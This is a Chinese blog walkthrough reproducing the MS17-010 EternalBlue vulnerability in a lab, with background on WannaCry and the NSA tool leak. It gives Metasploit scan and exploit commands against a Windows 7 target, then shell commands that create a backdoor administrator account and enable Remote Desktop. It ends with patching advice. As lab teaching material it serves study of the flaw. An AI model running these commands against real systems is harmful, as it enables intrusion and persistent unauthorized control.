[漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell

2021-04-19 05:26

阅读:467

标签:永恒之蓝   黑客   渗透测试   MS17-010   Kali Linux   

1、漏洞概述

2017年5月,被称为近10年来影响范围最广泛“最嚣张”的WannaCry勒索病毒席卷全球,据统计,全球共有150多个国家超30万台终端被感染,波及政府、学校、医院、金融、航班等各行各业。

技术分享图片


一旦中了WannaCry病毒,则电脑文件会被“加密劫持”,黑客要求受害者支付高昂赎金(比特币)才能拿到解密秘钥。当时互联网上有很多人确实尝试通过支付赎金解决“被挟持的电脑”,毕竟多年的工作和学习资料比起赎金来讲,价值更大。而实际上,很多人即便打钱过去,也无济于事。

为什么WannaCry病毒能够在短短一个月时间,对全球造成这么大的危害?这里就必须提到今天的主角:“永恒之蓝”。

时间追溯到2016年,全球神秘黑客组织影子经纪人( Shadow Brokers)入侵了另外一支技术高超的黑客团队 
方程式组织(Equation Group),并拿到后者部分泄密武器。而方程式组织其实便是NSA(美国国家安全局)旗下的黑客团队,正因此,由国家支持的“核武器级网络军火库”正式浮出水面。

Shadow Brokers在拿到这批武器之后,本来打算以100万比特币(当时价值5亿美元)出售这批“网络军火库”,但最终没有人支付这笔天价费用。

直到2017年4月14号,Shadow Brokers干脆直接在Github上公开整个武器库,大量的针对Windows零日漏洞攻击武器被公开,其中,就包括了上面提到的“永恒之蓝”渗透代码。(Eternalblue) 

技术分享图片


绕了这么一大圈,其实就是想告诉大家一点:

这枚WannaCry勒索病毒,就是黑客拿着美国安全局泄露的永恒之蓝攻击代码进行研制,并进行大肆勒索传播。

关于这一点,微软于2017年5月也公开指责NSA:“美国安全局正是全球勒索病毒的发源地,政府所持有的零日漏洞被泄露到公共领域,造成不可损失的破坏”

直到现在,很多普通用户仍然单方面吐槽“这是因为Windows系统不够安全”,把问题直接归结于微软。而实际上,在这件事情上,微软才是真正的“背锅侠”,因为Windows系统在2017年3月14号就早早推送了MS17-010的安全更新,若用户打上这个补丁,就可以避免这次攻击。但是,大量的普通用户没有更新打补丁的习惯,更不用说那些采用Ghost盗版系统的用户了。


技术分享图片


虽然很多人已经从各种新闻报道和“个人经历”已经知晓这枚病毒的威力,但是在这里我们还是花了很多给大家普及了它的来龙去脉,并在这里给大家一个观点:

[WannaCry事件] 是21世纪网络安全领域的一个标志性事件,意味着:

  • 国家级别的网络安全对抗早就在秘密展开了,现在被一些黑客组织“戳破”了;

  • 黑客攻击事件已经完全渗透到真实世界里,“比特世界”和“原子世界”边界彻底被打破;

  • 谁掌握零日漏洞以及对应的攻击武器,谁在“第五空间”就有话语权;

  • 类似WannaCry的病毒会越来越多,并且频率越来越高,例如Bad Rabbit、NotPetya……


2、漏洞复现环境

Kali Linux 2017.03 + Windows 7 sp1 
渗透机:Kali Linux (ip:172.16.70.216) 
靶机:Windows 7 sp1 (ip:172.16.70.199)

永恒之蓝漏洞刚出来的时候,当时很多人是用Shadow Brokers泄露的NSA原生攻击工具来测试,通过“ Fuzzbunch + Eternalblue 组合拳 ”,虽然可以做出getshell效果,但是整个实现过程非常麻烦,不太适合安全新手进行快速实践。到了Kali Linux 2017.03和Kali Linux 2018版,神器Metasploit直接集成了MS17-010的渗透测试代码,针对Win7和Server2008可以实现getshell,几分钟内就可以将完成整个漏洞复现过程。

注:此实验环境所用渗透机和靶机,跟之前文章所分享一致,可以参考往期推文,并下载所需镜像=>

[漏洞复现] CVE-2017-11882 通杀所有Office版本


3、实验流程

①登录Kali Linux,进入MSF框架,搜索ms17-010代码

msfconsole 
msf > search ms17_010 


技术分享图片


这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝渗透代码,一般配合使用,前者先扫描,若显示有漏洞,再进行渗透。

②使用ms17-010扫描模块,对靶机Win7进行扫描

使用模块 
msf > use auxiliary/scanner/smb/smb_ms17_010 
设置目标IP或网段 
msf auxiliary(smb_ms17_010) > set RHOSTS 172.16.70.199 
执行扫描 
msf auxiliary(smb_ms17_010) > run 


技术分享图片


③使用ms17-010渗透模块,对靶机Win7进行渗透

使用模块 
msf > use exploit/windows/smb/ms17_010_eternalblue 
查看可设置的选项 
msf exploit(ms17_010_eternalblue) > show options 
设置渗透目标ip 
msf exploit(ms17_010_eternalblue) > set RHOST 172.16.70.199 
执行渗透 
msf exploit(ms17_010_eternalblue) > exploit 

技术分享图片


技术分享图片

技术分享图片


技术分享图片


从最终效果来看,此时Kali Linux通过MS17-010渗透代码,直接拿到Win7的Shell,之后便可以通过Shell对目标靶机进行控制。

④通过Shell对靶机Win7进行控制

创建用户名密码 blue/blue 
net user blue blue /add 
将用户blue添加入管理组 
net localgroup administrators blue /add 
开启远程桌面功能 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 
Kali远程桌面连接Win7 
rdesktop 172.16.70.199:3389

技术分享图片


技术分享图片


技术分享图片


可以看到,最终Kali通过shell新建了用户,并通过远程桌面连接到目标靶机上。 
当然,上面这是一个简单的演示,告诉大家这个漏洞很危险,真正的黑客能做的事情更多,所以还是要多打补丁或按照安全软件。

4、漏洞修复

①在线更新;开启Windows Update更新。 
②打补丁;此漏洞对应的微软补丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010


=====================

【职位套餐】

①《CCIE魔鬼训练营套餐》:零基础到CCIE网络安全专家,包含CCNA/CCNP/CCIE不同等级的课程内容,涉及R&S、ISP、Security、渗透测试等课程内容,行业最经典,优惠幅度最大。课程链接:http://edu.51cto.com/pack/view/id-255.html

②《Web安全工程师》:掌握Web漏洞扫描、信息探测、SQL注入、文件上传、Webshell木马、远程执行、XSS跨站脚本攻击、CSRF跨站请求伪造等核心技能。课程链接:http://edu.51cto.com/topic/1181.html

③《高级Web安全工程师》:掌握Python编程、Web开发(Django)、Web安全,通往高级Web安全工程师。课程链接:http://edu.51cto.com/topic/1183.html


[漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell

标签:永恒之蓝   黑客   渗透测试   MS17-010   Kali Linux   

原文地址:http://blog.51cto.com/chenxinjie/2092754


评论


亲,登录后才可以留言!